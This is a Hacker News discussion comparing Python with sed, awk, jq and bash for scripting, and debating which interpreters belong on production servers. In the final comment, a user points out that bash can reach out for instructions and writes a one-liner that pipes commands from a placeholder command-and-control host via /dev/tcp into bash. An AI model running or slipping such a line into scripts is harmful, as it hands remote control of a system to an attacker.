Hacker News Reader

Comment by busterarm | Hacker News Reader

Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.

View on HN

Python is readable, awk is not. I'd rather spend an extra 5 minutes writing something that I don't have to burn 20 minutes understanding in just a few months time.

I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages. Further evidence can be found in Python's development of type hints.

Python isn't that readable when piping. From https://docs.python.org/3/library/subprocess.html#replacing-...

  output=$(dmesg | grep hda)

becomes

  p1 = Popen(["dmesg"], stdout=PIPE)
  p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE)
  p1.stdout.close()  # Allow p1 to receive a SIGPIPE if p2 exits.
  output = p2.communicate()[0]

This isn't a contrived example. One reason I like using macros in Python is because it simplifies exactly this boilerplate.

You can write a simplifying function, but programs rarely do.

I agree. Subprocess isn't really a shell-ish pipe. And it's sometimes slow (at least it used to be).

This is why I use the shell overall, but when I need to process something that's better expressed in python, I use pypyp.

Thanks for mentioning pypyp! It looks sweet.

Why would you reimplement piping? Just use the shell:

  output = check_output(“dmesg | grep hda”, shell=True)

Or regular Python string methods could be used instead of piping to grep.

If you find awk unreadable, maybe check out this link? https://ferd.ca/awk-in-20-minutes.html

I actually find awk very readable. It's a far simpler language than Python really.

The exception is perhaps if you need to do something complex, like parse a csv.

> It's a far simpler language than Python really.

This is true, but if you already know Python, then "awk + Python" has greater total complexity than "just Python". So the question is does awk add enough value to be worth the incremental cost of learning it in addition to Python? I think for many, the answer is "no".

Honestly I think if someone finds awk unreadable, they're probably cutting corners elsewhere and probably shouldn't be doing unix systems programming.

It's like all of the bash scripts that we see that don't handle failures and traps or print a usage block.

Out of curiosity, I grepped the Qubes github repos for awk. Here's the most complicated use I could find:

     awk -F : '/\/home/ { print $1":"$3":"$4":"$6 } '

I believe it is a matter of taste and experience. Some people prefer to read & edit 3-4 concise lines, and some prefer ten pages of prose.

> I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages.

IMO Python has a fair number of brevity constructs, which was it's one of the selling points, besides keeping other things readable. If you look at the published code from the research community, many of it resembles Matlab or Mathematica's style.

Another counterpoint to readability: the benefit is diluted if the reader isn’t familiar with the dependencies. I know this goes both ways, though in some circles (say, devops) there’s more familiarity with Unix tools than Python. So the cognitive overhead of getting familiar with something you’re not IMO outweighs readability in either case.

Das Tolle an Deutsch ist, dass es lesbar ist, während Englisch nicht.

Ich stimme zu.

In this context (vs Bash), I argue that awk is pretty readable and perl is somewhat readable.

Read it as "give me ${1}", paused to think for a bit.

Well played. :D

> Give me $1 for every time I see a whole python script with loads of dependencies for the simplest sed/awk/jq task with pipes.

I'll add good old Make to the list. It boggles the mind how some people prefer to reinvent the wheel instead of pulling a standard tool from a standard tool belt.

I pretty much always agreed with this until Bazel became a thing. It's the first tool that I truly feel like it might be superior to Make.

You can do sed/awk/jq trivially in Python with no dependencies, other than Python itself. Which is a fewer number of dependencies than a script gluing together sed+awk+jq, each of those being a dependency managed implicitly by your distribution's package manager.

except with sed, awk and jq, I don't have to worry about it being present on a production system and someone leveraging it to execute arbitrary, sophisticated code.

You can't just assume that it's okay to have your preferred scripting language everywhere.

I don't understand what you're arguing here. You don't run sed, awk, and jq directly, you run them via Bash, your preferred scripting language that can execute arbitrary, sophisticated code.

Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity).

But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.

Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd and there's no privilege-free packaging system to rapidly get there.

Python and other powerful scripting languages can.

Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.

The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.

> Bash can't be made to bind a socket that listens and receives instructions from the internet without also having something like socat or netcat or inetd

Not listen, but it can certainly connect out and ask for instructions...

    bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'

Reply on news.ycombinator.com